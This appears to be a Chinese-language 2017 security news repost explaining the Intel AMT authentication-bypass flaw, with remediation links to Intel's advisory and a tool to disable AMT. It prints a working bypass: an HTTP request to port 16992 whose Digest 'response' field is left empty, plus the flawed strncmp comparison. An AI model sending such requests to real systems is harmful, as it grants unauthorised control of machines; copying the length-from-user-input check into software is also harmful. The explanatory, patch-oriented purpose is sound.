重磅!入侵CPU?厲害了我的hacker!

網絡安全 黑客 英特爾 信息安全 福利大爆料 2017-05-10

上週存在長達九年之久的Intel漏洞曝光!直白點兒說:自從2010年起,英特爾出售所有具有遠超控制功能的芯片中含有一個嚴重的漏洞,可以讓攻擊者獲得目標電腦的高級權限。本文將介紹該漏洞的成因和測試驗證方法!

這個漏洞讓不法分子得以控制使用 vPro 和 AMT 的系統。

重磅!入侵CPU?厲害了我的hacker!

你可以遠程控制採用易受攻擊的英特爾芯片的計算機,只要向它們發送空的驗證字符串。

你沒有看錯,確實如此!本該要求你發送一個密碼哈希值,你卻發送了零字節,什麼都沒有。想想你會有怎樣的回報?居然可以通過網絡――如果管理接口面向公共Web的話,還可以通過互聯網,獲得系統硬件的底層訪問權,權限很大。

今天我們獲悉,鑽這個安全漏洞的空子輕而易舉,不需要密碼,誰都可以控制易受攻擊的系統――我們仍在等待相應的補丁。

AMT是通過一種普通的Web接口經由網絡來訪問的:該服務偵聽端口16992和端口16993。用瀏覽器訪問該服務會彈出提示,要求輸入密碼,這個密碼是使用標準的HTTP Digest驗證技術來發送的:使用來自AMT固件的隨機數(nonce)以及另外幾個元數據,對用戶和密碼進行哈希處理(即加密)。這個經過加密的響應由英特爾的AMT軟件來核實,驗證是否有效;如果有效,就將訪問權授予管理接口。

但是如果你發送空的響應,固件就會誤以為這是有效的響應,讓你長行直入。這意味著,如果你使用代理,將響應改成空的字符串,或者以其他方式設置瀏覽器,發送空的HTTP Digest驗證響應,就可以繞過密碼核實機制。

大致說來,在後臺,你的瀏覽器通常會向AMT服務發送類似這樣的內容,這包括哈希響應字符串,含有用戶名、密碼和服務器隨機數:

GET /index.htm HTTP/1.1

Host: 192.168.1.2:16992

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.2:16992/logon.htm

Connection: keep-alive

Authorization: Digest username=»admin»,

realm=»Digest:048A0000000000000000000000000000»,

nonce=»Q0UGAAQEAAAV4M4iGF4+Ni5ZafuMWy9J», uri=»/index.htm»,

response=»d3d4914a43454b159a3fa6f5a91d801d», qop=auth, nc=00000001,

cnonce=»9c5beca4011eea5c»

如果使用代理或類似的工具(Burp Suite可以哦),只要去掉響應哈希,改而發送:

GET /index.htm HTTP/1.1

Host: 127.0.0.1:16992

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101

Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Authorization: Digest username=»admin»,

realm=»Digest:048A0000000000000000000000000000»,

nonce=»qTILAAUFAAAjY7rDwLSmxFCq5EJ3pH/n», uri=»/index.htm», response=»»,

qop=auth, nc=00000001, cnonce=»60513ab58858482c»

而英特爾的“保安”(固件)會讓你進入,儘管你實際上根本沒有密碼,只是向門衛閃了一下車燈:

HTTP/1.1 200 OK

Date: Thu, 4 May 2017 16:09:17 GMT

Server: AMT

Content-Type: text/html

Transfer-Encoding: chunked

Cache-Control: no cache

Expires: Thu, 26 Oct 1995 00:00:00 GMT

如果你在英特爾的固件裡面搗鼓一番,會發現底層的這個寶貝:機器碼,機器碼反編碼成類似以下內容的C代碼:

if(strncmp(computed_response, user_response, response_length))

deny_access();

你可能也知道了,這個標準函數僅僅比較兩個字符串中每一個的response_length字節,看看它們是不是一樣:加以比較的兩個字符串是試圖登錄的那個人發送的驗證響應(user_response)和服務要求的響應(computed_response)。如果兩者相符,密碼肯定對的,所以該函數返回零,代碼繼續授予訪問權。如果兩個字符串不一樣,該函數返回值是非零,這意味著密碼不對,所以拒絕訪問。到目前為止,一切很好。

遺憾的是,response_length是用user_response來計算的,所以如果提供的是空字符串,長度為零,沒有字節被檢查,因而沒有字節是不一樣的;不出所料,strncmp()返回零,表明驗證成功。因而,空的響應字符串被認為有效而被放行,實際上明明是無效的。

英特爾其實應該檢查兩個字符串長度一樣,因為有效的響應始終是32字節的MD5哈希值。

發現這個漏洞要感謝Embedi,這家公司對代碼作了逆向工程處理(https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf),早在3月份就向英特爾報告了這個漏洞。Tenable也對二進制代碼作了一番研究,本週早些時候得出了同樣的結論。

英特爾已在此(https://newsroom.intel.com/news/important-security-information-intel-manageability-firmware/)發佈了關於該漏洞的另外一些信息,包括工具鏈接(該工具可以檢查系統是不是高危系統)、支持聯繫人的相關信息以及減小威脅的應對措施列表。

還有這個第三方工具(https://github.com/bartblaze/Disable-Intel-AMT)可用來禁用Windows系統的AMT。

我們獲悉,這個漏洞存在於一些但並非所有的英特爾處理器芯片組(從今天的Kaby Lake系列,直到早至2010年的系列):它主要影響商務PC、專業工作站和小型服務器,而不是影響面向普通人的設備。不過,這家芯片巨頭今天承認,“消費者和小公司”到頭來使用的硅片可能採用這項易受攻擊的技術。

如果你使用啟用了vPro的處理器,又在自己的網絡上配置了AMT版本6至11.6,絕對面臨上述安全漏洞帶來的風險。這還影響英特爾的標準可管理性(ISM)和小企業技術(SBT)固件。我們建議你使用英特爾的實用工具,仔細檢查是不是存在這個漏洞帶來的安全隱患。

這裡提醒重要機構務必儘快修補該漏洞。可以利用的資源包括:

第三方工具(https://github.com/bartblaze/Disable-Intel-AMT)可用來禁用Windows系統的AMT。

(https://newsroom.intel.com/news/important-security-information-intel-manageability-firmware/)發佈了關於該漏洞的另外一些信息,包括工具鏈接(該工具可以檢查系統是不是高危系統)、支持聯繫人的相關信息以及減小威脅的應對措施列表。

(來自:黑白之道)

相關推薦

推薦中...